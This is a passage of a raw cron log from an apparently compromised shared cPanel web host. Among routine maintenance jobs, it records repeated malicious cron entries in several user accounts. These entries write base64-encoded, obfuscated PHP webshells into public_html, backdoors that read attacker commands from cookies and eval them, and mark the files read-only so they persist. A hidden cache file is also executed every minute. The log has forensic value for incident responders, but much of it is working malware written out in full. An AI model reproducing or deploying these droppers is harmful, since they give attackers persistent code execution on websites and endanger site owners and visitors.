Jun  7 12:20:02 medusa CROND[12370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:20:02 medusa CROND[12375]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:20:02 medusa CROND[12379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12380]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:20:02 medusa CROND[12384]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:20:02 medusa CROND[12376]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:20:02 medusa CROND[12377]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:20:02 medusa CROND[12388]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:20:02 medusa CROND[12366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:21:01 medusa CROND[14365]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:21:01 medusa CROND[14413]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:21:01 medusa CROND[14414]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:21:01 medusa CROND[14415]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:21:01 medusa CROND[14416]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:21:01 medusa CROND[14418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:21:01 medusa CROND[14417]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:21:01 medusa CROND[14419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:21:01 medusa CROND[14421]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:21:01 medusa CROND[14422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:21:01 medusa CROND[14420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:21:01 medusa CROND[14426]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:21:01 medusa CROND[14427]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:21:01 medusa CROND[14428]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:22:01 medusa CROND[16108]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:22:01 medusa CROND[16110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:22:01 medusa CROND[16113]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:22:01 medusa CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:22:01 medusa CROND[16111]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:22:01 medusa CROND[16114]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:22:01 medusa CROND[16115]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:22:01 medusa CROND[16116]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:22:01 medusa CROND[16120]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:22:01 medusa CROND[16121]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 